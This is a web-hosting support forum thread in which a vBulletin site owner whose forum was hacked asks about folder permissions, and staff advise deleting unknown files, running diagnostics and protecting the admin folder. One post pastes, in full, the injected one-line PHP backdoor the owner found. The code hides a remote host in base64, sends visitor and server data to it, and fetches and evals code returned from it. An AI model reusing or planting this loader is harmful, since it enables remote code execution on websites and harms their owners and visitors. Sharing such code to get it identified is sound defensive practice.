CHMOD Settings - Please help! URGENT

[JPetrillo]

Okay so my forum got hacked into a couple weeks ago. I didnt notice until just now. Someone put some funky files in the /public_html/forum/admincp/control_examples/ folder! I noticed the /control_examples/ folder was CHMOD 777 and thought this might be my problem... I started looking around and noticed a lot of my folders where CHMOD 777

Here is a list of my /forum/ directory along with each folders CHMOD. Can you please tell me if these are the correct permissions? Thanks!

This is what I got:

forum/admincp -> CHMOD 755
forum/archive -> CHMOD 755
forum/clientscript -> CHMOD 755
forum/cpstyles -> CHMOD 755
forum/customavatars -> CHMOD 777
forum/customgroupicons -> CHMOD 755
forum/customprofilepics -> CHMOD 777
forum/images -> CHMOD 777
forum/includes -> CHMOD 755
forum/install -> CHMOD 755
forum/modcp -> CHMOD 755
forum/modules -> CHMOD 777
forum/signaturepics -> CHMOD 777
forum/tmp -> CHMOD 777

Do I need to change any of these? Also, I allow users to upload custom avatars.

Thank you in advance for any help!

[Wayne Luke]

Those permissions are fine.

[JPetrillo]

Thanks Wayne

The /control_examples/ folder was set to CMOD 777 - was that also fine? Because I have since changed it to 755, so let me know if I should put it back to 777.

The problem I was having was I was browsing through Google search results for my website and came across this Google cache. If you notice, there is a link in there to my website and it links to the following page:

http://gamersthrone.com/forum/adminc...s/3picsex.html

I had replaced the files in the /control_examples/ folder and changed it to CMOD 777 and this had fixed it, BUT it looks like that was only a temporary fix because if you try going to that link right now it is working again

I cant figure this one out on my own

Please help!!

[Wayne Luke]

755 on the control_examples folder is fine. You should have .htaccess protection on the admincp folder though so people wouldn't be able to access it directly via the web. That file isn't a vBulletin file and you should delete it from your server as well as any other files in that directory that don't match with the 9 items in the default download that reside in that directory.

Please see:
How To Make My Forums More Secure

[JPetrillo]

Here is what that folder looks like:

[Wayne Luke]

The PHP file should go.

Run the Suspect File Diagnostic under Maintenance -> Diagnostics in the Admin CP and delete any files that aren't part of vBulletin or an addon that you have installed.

[JPetrillo]

Are you sure the .php file should go? I have those .php files in most of my directories.

Anyways, here is the code that is in that .php file. It is only one line, but its long!

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="4bb073b44030a7184c8396397677c874") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

Here are the scan results. There were a lot that didnt match, but most of them are from mods I have. Here are the ones that dont look normal to me:

./clientscript/yui
61594.php

./clientscript/yui/connection
231258.php

./clientscript/yui/yahoo-dom-event
193878.php

./includes/cron
198379.php

./includes/paymentapi
204591.php

./includes/xml
69484.php

[Wayne Luke]

If you didn't put the files on your server then you should delete them.

[Lynne]

Those are NOT default vbulletin files! And base64_encode? Sounds like those scripts are up to no good at all!

If you really think they may be needed, copy them to your home computer, then delete them from your server. See if the site works fine for a bit and if so, delete them.

[JPetrillo]

If you really think they may be needed, copy them to your home computer, then delete them from your server. See if the site works fine for a bit and if so, delete them.

No, I dont think they are needed, but I just wasnt 100% sure because I dont know anything about .php! Wasnt sure if maybe those files were part of a mod that I did or not.

Anyways, yes... I'm backing up the entire site today and will delete all of those random looking .php files and take it from there.

[JPetrillo]

Please Help!

I'm still having some weird issues with this. Here is a list of files or folders that are 777. Please tell me which ones do not need to be 777 so I can change them. Thank you!

./forum/tmp
./forum/images
./forum/images/smilies
./forum/images/regimage
./forum/images/regimage/fonts
./forum/images/regimage/backgrounds
./forum/images/attach
./forum/images/polls
./forum/images/editor
./forum/images/icons
./forum/images/misc
./forum/images/statusicon
./forum/images/avatars
./forum/images/avatars/thumbs
./forum/images/gradients
./forum/images/ranks
./forum/images/reputation
./forum/images/buttons
./forum/images/rating
./forum/customprofilepics
./forum/cpstyles/vBulletin_3_Frontend
./forum/cpstyles/vBulletin_3_Manual
./forum/cpstyles/vBulletin_3_Silver
./forum/cpstyles/vBulletin_3_Default
./forum/cpstyles/vBulletin_2_Default
./forum/modules
./forum/modules/minicalendar.php
./forum/modules/index.html
./forum/modules/popular_tags.php
./forum/modules/recentthreads.php
./forum/modules/birthdays.php
./forum/modules/onlineusers.php
./forum/modules/news.php
./forum/modules/currentpoll.php
./forum/modules/moderate.php
./forum/modules/navigation.php
./forum/modules/welcomeblock.php
./forum/clientscript/vbulletin_css
./forum/clientscript/yui
./forum/clientscript/yui/connection
./forum/clientscript/yui/yahoo-dom-event
./forum/customavatars
./forum/customavatars/thumbs
./forum/signaturepics

[Steve Machol]

These are the only ones that 'need' to be 777, assuming you are storing these pics in the file system instead of the database.

./forum/customprofilepics
./forum/customavatars
./forum/customavatars/thumbs

If your server is running with open-basedir restrictions then this one probably needs to be 777 as well:

./forum/tmp

./forum/signaturepics